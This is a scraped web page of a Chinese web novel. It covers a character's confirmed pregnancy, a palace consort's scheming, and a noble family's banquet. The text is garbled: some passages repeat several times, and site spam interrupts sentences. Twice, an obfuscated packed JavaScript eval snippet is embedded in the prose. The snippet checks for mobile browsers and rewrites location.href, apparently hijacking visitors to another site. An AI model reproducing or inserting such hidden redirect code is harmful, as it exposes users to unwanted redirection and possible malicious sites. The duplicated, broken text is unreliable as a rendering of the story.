可见这么多年的委屈不安,纵然不说,却都憋在心里。 这一胎太重要了,阿寻叮嘱他切莫心情大起大落,和其他一些小细节。 侍书默默记在心里,又拉着阿寻问东问西,“苗郎中,那我家夫人安胎药又是怎么用的,您快给开个方子。” 阿寻道:“郑夫人正值青壮,不必用药,平日里若有什么伤寒头痛,也不可胡乱用药,这点一定莫忘。”他在赫山的时候专研男女无嗣,苗家一家子的医者郎中,这方面最他在行。 这次楚辞陪他出门,也是因为兰娘的一个友人患了带下之症,请阿寻过去问诊。 孟晚知道郑淑慎盼望这个孩子,又怕他太紧张反而不好,便劝道:“大嫂,你情绪好不容易调整过来,切莫患得患失。阿寻也说了你正是孕育的好年纪,定会安然顺遂的。” 孩子不是轻易来的,也不会轻易就掉。越年轻,体质就越好,孟晚当时上窜下跳都安然无恙,郑淑慎这边只要是没有什么大意外,基本无事。 话是这么说,毕竟兰娘前脚刚小产完。等郑淑慎回家后和吴昭远一说,两人也难免激动欢喜,郑淑慎好些天连门都不敢出门了。 夫夫俩意见统一的没将此事声张出去,郑淑慎连亲娘都没告诉。还是郑老夫人上门来看儿子,自己发现的。 也不用等天冷,她当即找了镖局的人把诗娘给送走了。 走咱们去我娘院里叫阿寻看看去。”这么吃要吓死个人了。 阿寻和楚辞外出回来被叫了过来,给心中七上八下的郑淑慎把脉。 常金花在一旁小声和孟晚说:“也不一定怀了就一定有要吐的,有的妇人哥儿怀孕一切照旧,哥儿又不像女娘还有葵水,更难发觉。如你一般又吐又头晕的吐了好几个月的,实则不多。” 孟晚心里已经觉得郑淑慎十有**了,也在旁边跟着紧张,听常金花提及自己当时的情况,颇觉命运不公,凭啥让他比旁人多遭罪? 阿寻实际在摸上去的第一瞬就已经摸到了滑脉,但因为这个孩子对郑淑慎格外重要,所以又仔仔细细的又探了一会儿才确定下来。 郑淑慎当即落泪,哄也哄不住,劝也劝不好那种,孟晚都束手无策。直到阿寻说孕夫情绪太大,会影响胎元,郑淑慎这才努力止住了泪水。 可见这么多年的委屈不安,纵然不说,却都憋在心里。 这一胎太重要了,阿寻叮嘱他切莫心情大起大落,和其他一些小细节。 侍书默默记在心里,又拉着阿寻问东问西,“苗郎中,那我家夫人安胎药又是怎么用的,您快给开个方子。” 阿寻道:“郑夫人正值青壮,不必用药,平日里若有什么伤寒头痛,也不可胡乱用药,这点一定莫忘。”他在赫山的时候专研男女无嗣,苗家一家子的医者郎中,这方面最他在行。 这次楚辞陪他出门,也是因为兰娘的一个友人患了带下之症,请阿寻过去问诊。 孟晚知道郑淑慎盼望这个孩子,又怕他太紧张反而不好,便劝道:“大嫂,你情绪好不容易调整过来,切莫患得患失。阿寻也说了你正是孕育的好年纪,定会安然顺遂的。” 孩子不是轻易来的,也不会轻易就掉。越年轻,体质就越好,孟晚当时上窜下跳都安然无恙,郑淑慎这边只要是没有什么大意外,基本无事。 话是这么说,毕竟兰娘前脚刚小产完。等郑淑慎回家后和吴昭远一说,两人也难免激动欢喜,郑淑慎好些天连门都不敢出门了。 夫夫俩意见统一的没将此事声张出去,郑淑慎连亲娘都没告诉。还是郑老夫人上门来看儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟晚知道郑淑慎盼望这个孩子,又怕他太紧张反而不好,便劝道:“大嫂,你情绪好不容易调整过来,切莫患得患失。阿寻也说了你正是孕育的好年纪,定会安然顺遂的。” 孩子不是轻易来的,也不会轻易就掉。越年轻,体质就越好,孟晚当时上窜下跳都安然无恙,郑淑慎这边只要是没有什么大意外,基本无事。 话是这么说,毕竟兰娘前脚刚小产完。等郑淑慎回家后和吴昭远一说,两人也难免激动欢喜,郑淑慎好些天连门都不敢出门了。 夫夫俩意见统一的没将此事声张出去,郑淑慎连亲娘都没告诉。还是郑老夫人上门来看儿子,自己发现的。 也不用等天冷,她当即找了镖局的人把诗娘给送走了。 走咱们去我娘院里叫阿寻看看去。”这么吃要吓死个人了。 阿寻和楚辞外出回来被叫了过来,给心中七上八下的郑淑慎把脉。 常金花在一旁小声和孟晚说:“也不一定怀了就一定有要吐的,有的妇人哥儿怀孕一切照旧,哥儿又不像女娘还有葵水,更难发觉。如你一般又吐又头晕的吐了好几个月的,实则不多。” 孟晚心里已经觉得郑淑慎十有**了,也在旁边跟着紧张,听常金花提及自己当时的情况,颇觉命运不公,凭啥让他比旁人多遭罪? 阿寻实际在摸上去的第一瞬就已经摸到了滑脉,但因为这个孩子对郑淑慎格外重要,所以又仔仔细细的又探了一会儿才确定下来。 郑淑慎当即落泪,哄也哄不住,劝也劝不好那种,孟晚都束手无策。直到阿寻说孕夫情绪太大,会影响胎元,郑淑慎这才努力止住了泪水。 可见这么多年的委屈不安,纵然不说,却都憋在心里。 这一胎太重要了,阿寻叮嘱他切莫心情大起大落,和其他一些小细节。 侍书默默记在心里,又拉着阿寻问东问西,“苗郎中,那我家夫人安胎药又是怎么用的,您快给开个方子。” 阿寻道:“郑夫人正值青壮,不必用药,平日里若有什么伤寒头痛,也不可胡乱用药,这点一定莫忘。”他在赫山的时候专研男女无嗣,苗家一家子的医者郎中,这方面最他在行。 这次楚辞陪他出门,也是因为兰娘的一个友人患了带下之症,请阿寻过去问诊。 孟晚知道郑淑慎盼望这个孩子,又怕他太紧张反而不好,便劝道:“大嫂,你情绪好不容易调整过来,切莫患得患失。阿寻也说了你正是孕育的好年纪,定会安然顺遂的。” 孩子不是轻易来的,也不会轻易就掉。越年轻,体质就越好,孟晚当时上窜下跳都安然无恙,郑淑慎这边只要是没有什么大意外,基本无事。 话是这么说,毕竟兰娘前脚刚小产完。等郑淑慎回家后和吴昭远一说,两人也难免激动欢喜,郑淑慎好些天连门都不敢出门了。 夫夫俩意见统一的没将此事声张出去,郑淑慎连亲娘都没告诉。还是郑老夫人上门来看儿子,自己发现的。 也不用等天冷,她当即找了镖局的人把诗娘给送走了。 走咱们去我娘院里叫阿寻看看去。”这么吃要吓死个人了。 阿寻和楚辞外出回来被叫了过来,给心中七上八下的郑淑慎把脉。 常金花在一旁小声和孟晚说:“也不一定怀了就一定有要吐的,有的妇人哥儿怀孕一切照旧,哥儿又不像女娘还有葵水,更难发觉。如你一般又吐又头晕的吐了好几个月的,实则不多。” 孟晚心里已经觉得郑淑慎十有**了,也在旁边跟着紧张,听常金花提及自己当时的情况,颇觉命运不公,凭啥让他比旁人多遭罪? 阿寻实际在摸上去的第一瞬就已经摸到了滑脉,但因为这个孩子对郑淑慎格外重要,所以又仔仔细细的又探了一会儿才确定下来。 郑淑慎当即落泪,哄也哄不住,劝也劝不好那种,孟晚都束手无策。直到阿寻说孕夫情绪太大,会影响胎元,郑淑慎这才努力止住了泪水。 可见这么多年的委屈不安,纵然不说,却都憋在心里。 这一胎太重要了,阿寻叮嘱他切莫心情大起大落,和其他一些小细节。 侍书默默记在心里,又拉着阿寻问东问西,“苗郎中,那我家夫人安胎药又是怎么用的,您快给开个方子。” 阿寻道:“郑夫人正值青壮,不必用药,平日里若有什么伤寒头痛,也不可胡乱用药,这点一定莫忘。”他在赫山的时候专研男女无嗣,苗家一家子的医者郎中,这方面最他在行。 这次楚辞陪他出门,也是因为兰娘的一个友人患了带下之症,请阿寻过去问诊。 孟晚知道郑淑慎盼望这个孩子,又怕他太紧张反而不好,便劝道:“大嫂,你情绪好不容易调整过来,切莫患得患失。阿寻也说了你正是孕育的好年纪,定会安然顺遂的。” 孩子不是轻易来的,也不会轻易就掉。越年轻,体质就越好,孟晚当时上窜下跳都安然无恙,郑淑慎这边只要是没有什么大意外,基本无事。 话是这么说,毕竟兰娘前脚刚小产完。等郑淑慎回家后和吴昭远一说,两人也难免激动欢喜,郑淑慎好些天连门都不敢出门了。 夫夫俩意见统一的没将此事声张出去,郑淑慎连亲娘都没告诉。还是郑老夫人上门来看儿子,自己发现的。 也不用等天冷,她当即找了镖局的人把诗娘给送走了。 第34章 齐舜英 三月草长莺飞,盛京积累了一冬的积雪全都融化,滋养着冻土下干枯的根须。 有急着破土的嫩芽试探着探出小片叶子,冬眠的动物迫不及待的跑出来啃噬。 城内河上的冰都变成薄薄一块,宋亭舟怕有孩子贪玩,早早吩咐了衙役将薄冰都打碎,融进河水里很快就化了个干净。 凛冬余寒渐散,春风暖意初临,岭南的消息携裹着生机勃勃地春风,吹到了皇宫大内中。 “太子还活着? 点点血红从她莹白似血的指尖晕染开来,让旁边的宫娥见了,自己手指也下意识的蜷起,连呼吸都滞了半拍。但聂贵妃眉头连皱都没皱一下,只顾着质问面前的宫侍。 宫侍跪在地上,低声答复,“是廉王殿下传回来的消息,说是忠毅侯世子先找到了人,这会儿可能都在回京的路上了。 “废物!聂贵妃怒道。 她言语里全是对廉王的不满和滔天的怒火,“定襄国公给他兵马,又派下高手谋士辅佐与他,最后连个初出茅庐的秦艽都拦不住。如此千载难逢的机会,铺下那么大的摊子,最后竟然真让太子活着回京。废物,废物! 流光熠熠的琉璃盏被摔在地上,发出一声尖锐的响声,碎片划在聂贵妃本就受了伤的玉手上,再添一道血痕。 她很快意识到此刻再发怒也没什么用,迅速冷静下来,冷声吩咐跪在地上的几个宫娥,“愣着做什么,打扫干净。 宫娥们早就习惯了主子阴晴不定的性格,立即动作起来,无声的洒扫一地狼藉,连大气也不敢喘一下。 “去宫外传信给国公爷,让他想法子入宫一趟。 宫侍离开之后,聂贵妃坐到上面有围屏的罗汉榻上闭目养神。 脚凳上的脚炉还没被撤走,只在上面搭了一会儿就暖的聂贵妃鼻尖渗汗。 宫娥小心翼翼的将脚炉端走,跪在她身前用帕子轻轻擦拭她垂落下来的玉手。动作小心谨慎,生怕弄疼了主子。 十指连心,不疼是不可能的,聂贵妃闭着眼睛,手指不时抽动一下,却愣是一声没吭,极能忍耐。 “娘娘,陛下摆驾过来了。门外又进来了个小太监,声音又轻又细,生怕惊扰了聂贵妃。 “知 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 道了,下去吧。 聂贵妃说完睁开了眼睛,她手上裂掉的护甲已经取下,露出劈裂的指甲。 “再拿一套护甲来。 聂贵妃换了身明黄色的牡丹云纹圆领的袍子,将宫娥新取来的护甲重重的按在受伤的手指上,剧烈的疼痛感使她面部一阵扭曲,却生生按捺住喉间的低叫。 皇上进来时聂贵妃宫中一切平静,聂贵妃恭敬又不失亲昵的同他问安。 后宫已经多年没有选秀了,皇上除了每月初一十五去皇后宫中坐坐,后宫来的最多的地方就是聂贵妃处。 恩赏宠爱更甚皇后,宫中几乎无人敢惹聂贵妃。 皇上温和宠溺的对她笑着,“之前吐蕃国进贡的香料是不喜欢吗?怎么没见你用过? 聂贵妃用香铲拨弄炉中香灰,使被覆盖的线香显露出来一点,“吐蕃国的香料太过清冽,臣妾还是更爱新会小冈香。 皇上对她耐心十足,“既如此,明年岭南进贡的果珍罐和香料,朕都叫你先挑上一份。 “多谢陛下恩赏。 说到岭南,聂贵妃又想起宋亭舟伶牙俐齿的夫郎来,她困顿后宫多年,无人不对自己恭敬顺从,却被一个小小的三品官员的夫郎给顶撞了一番。 “陛下,说起来宋大人,臣妾见他身边只守着一个夫郎,子嗣单薄,本来好心送了他两个知情识趣的美人,却没想到被人在皇城根下劫走了。 帝王随口应道:“哦,还有此事? 聂贵妃不动声色的观察着帝王的脸色,“也不知是哪里来的登徒子胆子这么大,也可能是臣妾不如陛下龙威深厚,若是您赏赐的人,定会安安稳稳被送到宋家吧? “贵妃竟然如此关心前朝重臣吗?皇上语调变化的不太明显,只有常年揣测他脾气的人才能发觉其中的危险气息。 后宫干政是大忌,更何况聂贵妃还有一个手握重拳的国公父亲。 换做别的妃嫔这会儿可能已经腿软了,可聂贵妃依旧稳如泰山。 很多时候,比起中看不中用的廉王,聂贵妃才是真正流淌着聂家血脉的果决之人。 “臣妾哪里知道什么重臣不重臣的,陛下不是见过宋大人的夫郎吗?真真是好厉害的一张嘴,正旦宴那天当着那么多人的面顶撞臣妾。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 为保养得宜,撒起娇来并不惹人厌恶。 皇上像是信了她这番说辞,只道是一些妇人上不得台面的手段,“行了,孟氏好歹刚被朕封了一品诰命,朕若是真的赐人过去岂不是自悖其言?” 他虽然在笑,但笑意不达眼底,于是聂贵妃懂了,分寸只能拿捏到这里,不可再近半分。 聂贵妃委曲求全道:“既然陛下说了,那臣妾就饶了他这么一回儿吧。” 皇上又坐了一会儿便要摆驾离开。 聂贵妃讶异,“这会儿都这么晚了,陛下不留在臣妾宫里安寝吗?” 皇上任由宫侍伺候着披上外袍,“听说梁嫔病了,朕过去看看她。” 后宫的女人,连吃醋都要懂得分寸,当下就绝对不是一个撒娇犯蠢的好时机,聂贵妃恭恭敬敬的恭送皇上离开。 等帝王的仪仗远去,才起身若有所思的想着梁嫔的事。 一个入宫多年都无子嗣的嫔妃?长相平平,性格柔弱,还动不动就病上两场。六年前静妃难产而亡,她的儿子被皇上指给梁嫔抚养。梁嫔的娘家只是地方上的五品官,六皇子又是养子,林林总总加在一起,表面看上去似乎并无不妥。 可聂贵妃就是觉得哪里不对,这是她作为女人的直觉。 “让人把皇上身边的人都盯仔细了,任何蛛丝马迹都不能放过。” 说起来六皇子也有六岁了,如今虽然只是孩童,若皇上在撑上十年八年呢? 六岁的皇子十年之后正好长成,自己儿子和太子岂不是为其他人做了嫁衣? 而且国公……也等不了十年之久了。 —— 天气暖了,景色也好了,连在家养胎的郑淑慎都忍不住在新宅里种起了花草。 盛京城中大把悠闲的贵妇人开始办起宴席来,今天赏桃花,明日又游园。 孟晚陆陆续续收到拜帖,甚至还有怀恩伯爵府的,大部分他都是不去,也没什么兴致。算算时间岭南的账本也该送过来了,比起被人家看猴似的观赏,还不如在家算账数钱。 不管是因为廉王还是因为林苁蕙高高在上的姿态,怀恩伯爵府的帖子他理都不理,全当没看见过。 但昨天一早他又接到了承恩伯爵府的帖子,这就有点难办。邻里关系还是要维护一下的,往后还要相处数十年,没准下一代也要 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 相交,不去不好。 孟晚十分庆幸另一个邻居是户部尚书寇大人,寇家从来只进不出,若是没事,不会随便花钱请人,请人就一定是要收礼钱的事。 “穿蓝月新送过来那件青缎褂子。”孟晚早上洗漱过后吩咐枝繁。 蓝月便是陶十一娶得那位壵族小哥儿,心灵手巧擅长制衣。 孟晚安顿好跟随宋亭舟赴京的一群下属住所后,资助他们的内眷们开了家成衣铺子,蓝月是里面手艺最好的裁缝,加上人年轻,脑子活泛,掌柜也由她做。 盛京城不是没有女子开店,但大部分都是夫妻店铺,向蓝月这家全是女娘小哥儿的铺子十分稀罕。 开业之初左邻右舍冷嘲热讽是常事,有那样自己一事无成,反倒笑话蓝月他们铺子开张三天就倒闭的汉子。 结果当然是没能如他们的愿,光是宋家、祝家和吴家服从换季的衣裳从蓝月店里定做,就已经让这个小小的铺子忙得脚不沾地。 后来还有见蓝月铺子都是女眷,好奇进入的女娘小哥儿们。让成衣铺子的生意越来越好,应接不暇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555214|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟晚穿了身白色锦袍,外搭一件淡青色缎面绣着金线的褙子,头上并无过多装饰,只是从前戴的都变了形的银簪,换成现在水头一流,雕工一般的祥云玉簪。 他走之前去常金花院里说了声,“娘,我这就去了,你别吃太多糕点,晌午正经吃顿饭。” 宋亭舟去顺天府衙门,阿砚和通儿一大早背着常金花缝制的书包去郑肃那儿,孟晚又要去承恩伯爵府处赴席,家里人都不在,常金花便不爱折腾厨房的人。 槿姑在常金花屋里陪她纳鞋底子,闻言笑道:“夫郎只管放心,晌午我下些面条子,做个打卤面给老夫人吃。” 常金花抬头看他,“今天穿的还算鲜亮,天气暖和了,早该把你那些黑不溜秋的衣裳换了。快去吧,咱们两家离得近,去的晚了不好看,切莫叫人久等。” 孟晚心道门口等着的又不是主家,有什么久等不久等的? 他单手托腮,一脸哀怨,“唉,娘现在是看我天天在你眼前晃荡,嫌我烦了。” 常金花对孟晚逗她,已经从惊慌失措、哭笑不得、逐渐适应、表情麻木,到现在纳鞋底的针攥的稳稳当当,“没有。” 孟晚支起身子,“那我这就走啦,娘?” “去 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 吧去吧。”常金花随意摆手。 等孟晚带人出了门,她才隔着支起来的窗户望向外面。 “孟夫郎真是惦记老夫人。”槿姑把常金花的口是心非看在眼里。 孟晚的背影消失在门后,常金花收回目光,“他心细,天天怕我不开心,想法设法的闹我,从前刚进门可不是这样的,怕这怕那的,满脑子都是小心思。” 常金花说着说着就笑了,时间一晃就过到现在,也不知她还能陪孩子们几年。 —— 出门在外,蚩羽是要贴身保护孟晚的,黄叶和枝繁枝茂也都在身边跟着。 枝繁枝茂倒是还是年岁小,没见过什么大场面,还是黄叶办事更加稳妥一些,因此他也不能偷懒。 拉着一筐筐青菜的牛板车停在了宋家后门,车上赶车的男孩……不,应该是少年。董厉今年十四,只是因为太过瘦弱,发育的不好,所以看着才像小孩。 他本来正在搬菜,不经意间抬头看见了宋家的马车,认出了驾车的蚩羽。再往马车上看,掀开的窗帘内能看见黄叶在同身边的人说话。 董厉知道黄叶很厉害,是宋家的管家,比很多男子都强。他端着那筐子菜,直勾勾地看着他的侧脸,直到马车驶出很远。 “刚才后门口停的牛车是不是沐泉庄上送过来的菜?”枝繁好奇的从窗口往后看。 黄叶也凑过去看,恍惚中看到一个不高的身影站在那里,身边还有一架牛车。“应该是吧,庄子上种的韭菜、生菜的应该能收上来一茬了。” 孟晚收佃户的菜是给钱的,现结,没有什么秋后拿粮食收成抵的说法。 开春正是青黄不接的时候,大家缺钱糊口。 车轮轧在石板路上咯吱咯吱作响,蚩羽很快就将马车赶到了承恩伯爵府的门口。 他们来的早,外辕门附近的空地上也只停了一辆外来的马车而已。伯爵府家的下人负责看管马车。 孟晚下来后旁边那辆马车里的人正准备进门,回头见到孟晚后放缓了脚步,“你就是孟晚?” 那是个年轻的妇人,二十来岁,一身朱色的长裙,个子和孟晚差不多,很是高挑。她长得不胖,但肩膀和腰线都很宽厚,看上去就很壮 孟晚轻拍了两下从未见过她,“你认识我?不知夫人是哪家的,我瞧着倒是面生的很。” 那妇人声音响亮,面色看不出喜怒,“我是齐家的女儿,你夫君和我夫君是同一届的进士,我听人说起过你。” 宋亭舟那一届除了宋亭舟和柴郡,剩下的都一般。殿试三年一次,可以说从中脱颖而出的凤**麟角,大家都在熬资历,有的还没等熬上来就老了。 孟晚还在琢磨着年前妇人的身份,承恩伯爵夫人齐氏便迎了出来,“舜英,你怎么自己过来了?家里孩子呢?” 第35章 金玉其外 齐舜英欠身行礼,“姑母,孩子还小,就放家里由几个奶妈子照看了,下次定然带过来给姑母瞧瞧。” 孟晚还在一旁候着,眼下不是和侄女儿说话的好时机。齐夫人拉着齐舜英的手招呼孟晚,“承蒙孟夫郎看重,早早登门,快请进吧。” 又提醒侄女儿,“舜英,你和孟夫郎可打过招呼了?” 齐淑英不知自己姑母为什么会对孟晚这么客气,想到夫君在她面前提过几次与顺天府尹宋亭舟的恩怨,语气不咸不淡的说了句,“说过话了。” 孟晚察觉到她态度有异,也没觉得反常,宋亭舟从入仕开始,得罪的人多了去了,只能他们记宋亭舟,宋亭舟记不过来他们。 齐夫人是个长袖善舞的人,和侄女儿聊天的同时,也不冷落孟晚。 守在门口的小厮不时进来禀告,有些人需要齐夫人亲自出去迎接,有的是被下人引进来的。 今日是齐夫人的大儿子得了嫡长子,府中排场铺的很大。 孟晚一路从大门走进来,府中四处都挂着彩漫和灯笼。越是往里走,还能听见戏班子咿咿呀呀的练嗓。 听说盛京城的勋贵人家,家里办事只请有名号的戏班子,受人追捧的名角更是一天就要花费上百两银子。 孟晚听宋亭舟说承恩伯爵府的大老爷败坏了不少家当,也不知今天为了充门面请的是哪家戏班子。 瘦死的骆驼比马大,宋亭舟手里捏着承恩伯爵府的把柄,孟晚才知道他家如今是外强中干,外人又不知晓。 为了伯爵府的脸面,该办的席面还是得办。 正厅挂着红绸,贴上了弄璋之喜的喜联,孟晚把准备好的满月红包让黄叶递到账房处,随齐夫人安排着入了席。 正院后院都备着八仙桌,老夫人的院里摆了十六桌,正院的中堂、厢房摆了十二桌,正院里平坦的地方露天又摆了二十几桌。 老夫人院里的都是承恩伯爵府家的亲戚,按理说孟晚该去正院坐着,却不知为何被分派到了老夫人院里,而且还坐到了最里面的一桌。 主桌都是上了年纪的姑奶奶和姨奶奶们,孟晚这一桌都是荣家这边的年轻媳妇儿。 齐舜英就坐在孟晚不远处,孟晚听到那桌子上的人都叫她舜英,应该坐的都是齐夫人娘家那边的人。 桌上放着精致的点心,是 听说看这本书的人都是很幸运的,分享后你的运气会更棒 孟晚在点心铺子里没见过的精致,倒是有两样和上次正旦宴上的差不离,应该是伯爵府的厨娘自己做的。 正席还没开始,孟晚上前和伯爵府的老夫人见过礼后回到座位上来,又见到了老熟人。 罗霁宁一见他就像是误触了雷达,本来麻木的脸色瞬间灵动起来。他左右看看,想起伯爵府又不是皇宫,便动作迅速的站起来和孟晚身边的妇人换了个位置。 “你怎么在这儿?”罗霁宁紧盯着孟晚,生怕他跑了似的。 孟晚手腕上套了串南红玛瑙手串,色泽赤红浓郁,像是燃烧到极致的赤焰,上面每一颗珠子都是正色锦红,醇厚到无一丝杂色,光泽内敛而不耀目。他边把玩着手中的串珠,边对罗霁宁说道:“我怎么不能在这儿?你怎么来的?” “我家那个海王在京郊三大营中的五军营里,任正四品佐击将军,三大营的提督不是承恩伯挂着呢吗?聂鸿飞算是他手下,所以过来道个贺。”罗霁宁说起他夫君来就像是在谈论家中表弟,要多正直就有多正直。 孟晚迅速抓住重点,“姓聂?和定襄国公有什么关系?”难怪罗霁宁也被安排进这个院来了,怕不是因为他夫君姓聂? 罗霁宁反应过来,俊秀的脸上满是警惕,“和国公有什么关系有你什么事,你还没说你为什么坐在这儿!” 孟晚见套不出来别的,便随口说道:“我是承恩伯爵府的邻居,过来道贺理所应当。” “你住二环?这么有钱?”罗霁宁的思维成功跑偏。 孟晚手串撸的啪啪作响,“怎么,你折腾那么长时间的香皂,难道没有钱?” 在外人面前一直保持着风光霁月形象的罗霁宁面部一阵扭曲,“都被我的好姐夫拿去……”他脸色一变,显然察觉到自己失言了。 “拿去养兵嘛,大家都知道。”孟晚随口一说。 “咳咳!”坐在孟晚左侧的年轻夫人被口中的茶水呛了一下。 什么养兵!罗夫郎的姐夫不是廉王殿下吗? 这这这! 她双手抬起凳子,不动声色的远离两人。 罗霁宁皮笑肉不笑地从牙缝里挤出一句话,“你乱说什么?都把别人吓跑了!” 孟晚扭头对着年轻夫人笑笑,嫩绿色的衣裳中和了他极具冲击力的脸庞,使其看上去年龄小了好几岁,人也显得开朗阳光,“二 听说看这本书的人都是很幸运的,分享后你的运气会更棒 少奶奶,别介意啊,我开玩笑呢。” 年轻夫人是齐夫人的二儿媳,年龄比孟晚还小几岁,刚嫁进伯爵府没多久。最上面的老夫人不时过问下面小辈,再来掌家的是她婆母,还有一个刚生了嫡长子的大嫂,她家世不如大嫂,在伯爵府里要多低调有多低调。 这会儿被孟晚解释了一句,忙不迭的找台阶下来,“不介意不介意,孟夫郎放心,我不是贫嘴烂舌的人,不会听两句话就乱传的。” 孟晚还是笑,美人笑颜如花,总是会让被他注视的人下意识卸掉防备,“说什么传不传的,廉王殿下的事,咱们这些小人物谈论起来也没人相信的,真有人相信也是去找廉王殿下啊,总不至于来找我吧?” “是是。”齐夫人的二儿媳额头渗出点点冷汗,她侧过头装作轻描淡写的拿帕子擦了擦,眼睛瞄着席间可以找谁换换座位。 罗霁宁都有点看不下去了,他压低声音批判孟晚,“你怎么那么阴呢?” “嗯?”孟晚对罗霁宁的感观很复杂,但不可否认的是,他其实很喜欢和他说话。 桌上有一碟子糕点孟晚没见过,他盯了小会儿,端到罗霁宁面前,“你尝尝这个,特别好吃。” “甜了吧唧的能有什么好吃的?”罗霁宁语气中带了丝嫌弃,但不得不说孟晚一直对他不冷不热,冷不丁给他端果子吃,他心里十分受用。嘴上说着不喜欢吃糕点,还是伸出手拿了一块塞到嘴巴里。 同桌的贵妇们吃糕都是小心翼翼的拿帕子垫着,小口小口的抿着吃,罗霁宁这家伙长得温润如玉,标准的世家公子模样,一吃东西就走了样,一整块都塞了进去。 “好吃吗?”孟晚真诚发问。 罗霁宁将糕咽进去,从袖口扯出块帕子擦了擦嘴,“还行吧,里面馅是什么花的,不太甜还有股子香味。” 孟晚盯着糕点,心动。 他把手上的手串摘下来,拿起一块糕来故意挨在手串上一会儿,也就是三息的功夫,发觉没有异样,这才把糕点送进嘴巴。 孟晚吃东西虽然不像罗霁宁似的一口一个,但糕点本身做的就不大,两三口也就吃完了。 孟晚吃完了还想吃,他如法炮制的又吃了第二块。 一直密切关注他的罗霁宁这才察觉不对,“**的拿我试毒呢你!” 孟晚擦手,敷衍的说:“没有。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 没有个屁!怎么会有这么坏的人! 罗霁宁心里委屈,他是真心想和孟晚交好,结果孟晚不是骗他就是骗他。 “好了好了,班主把点戏单拿到主座那边去了,你想听什么,我给你点。”孟晚带着些哄人的意味,颇像那些欺负了人在给个甜枣的渣男。 罗霁宁没好气的说:“点戏都是主座那群老夫人点,还有伯爵府的家眷,怎么会轮到你我?” 孟晚用帕子仔仔细细的擦拭自己的手串,“要不你和我打赌?一会儿伯爵府的人就会把点戏单送过来,你信不信?” 罗霁宁现在已经初觉这个老乡不大一般,他蹙着眉说:“你又搞什么?” 孟晚神色淡然,“不是我搞什么,是什么人要搞我。” 宋亭舟前几天亲自带人扫荡城中的地下暗庄,抓了一批又一批的。不巧,正好拿下了安生许久,刚出来放风的承恩伯爵府大老爷荣江。 钱没了还能打发下人,典当典当东西,府中大老爷被抓进了顺天府,那是天大的**和笑话。 而且看宋亭舟的架势,还要依法判刑。 荣江当日与赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555215|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坊合作,私放钱债,可是在众目睽睽之下被宋亭舟抓了个正着的。人证物证一应俱全,若是判刑最少要笞六十,其他的还不知道宋亭舟会怎么判。 更何况这位伯爵大哥,不光是犯了这点小事…… “你亲眼看见宋亭舟把那丫头带回了顺天府?”孙夫人在她自己的院里着急上火。 下人点头哈腰的答道:“夫人,不光奴才看见了,还有顺子他们几个去府外都瞧见了。” 这下糟了,孙夫人脸色难看。 与赌坊合作,私放钱债这些罪责最重也就是被判个流放,以荣家伯爵府的地位,路上并不会有人为难。 但赌坊行事中用不尽的肮脏手段,她那个冤家收不上来钱,抓了人家闺女要拉去青楼楚馆,那小妮子冲出门就跳了河。 开春的河水冰凉湍急,人转瞬间就被卷走了。 她正值壮年的哥哥从码头扛包回来正好撞见,一群人争执起来,赌钱、酗酒、又卖闺女的老爹缩在边上没什么事,反倒是赌坊的人下手狠了将哥哥给打**。 最后把他家值钱东西搜刮一遍,能典卖的就典卖,又警告了酗酒的男人不许声张欠下的钱便一笔勾销 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 。 荣江出门的时候还在想,真是白白出了钱,又惹了一身的骚。岂不知这一遭给他埋下了祸根,跳河那女娘竟然没死,竟然还叫宋亭舟给找到了! 前桌老妇人们正在兴致勃勃的点着戏,冷不丁孙夫人过来找上她婆母荣老夫人,在其耳边耳语片刻,老夫人扬起的嘴角渐渐拉平。 她冷眼看着自作聪明的大儿媳妇,知道对方心中没有半点成算才找上自己。 但大郎是他亲儿,当初的事到底是他爹做的不地道,才让他愈发消沉,荣老夫人沉默片刻,“你跟我进来一趟。” 相距不远的罗霁宁一直在观察主座的情况,“什么意思,荣老夫人怎么走了?” 孟晚还是淡定的撸着赤如火焰的玛瑙手串,“你管她走不走,总归这是她家,跑也跑不掉。” 罗霁宁觉得他这番话若有所指,“什么意思?” “什么意思也没有,人不是出来了吗?”孟晚视线扫射过去。 孙夫人正拿着长辈们点过的戏单子走过来。 “孟夫郎,今天家里客人多,若是哪儿招待不周,还请见谅。戏台子上要开始唱戏了,你看看有没有喜欢的,点上一出。”孙夫人异常客气的说。 孟晚勾起唇角,接过了她手里的戏单子,“既然孙夫人都这么说了,那我就不客气了。” 孟晚挑眉看了罗霁宁一眼,眼神中涌上一丝得意,“想看什么?” “随你。”罗霁宁只跟着旁人看过两场,平日不是防着廉王骚扰他,就是想办法体现自己价值好让对方不敢轻举妄动。 孟晚随口说道:“那就《十五贯》吧。” 罗霁宁百般无聊,撑着下巴问:“讲的什么??” 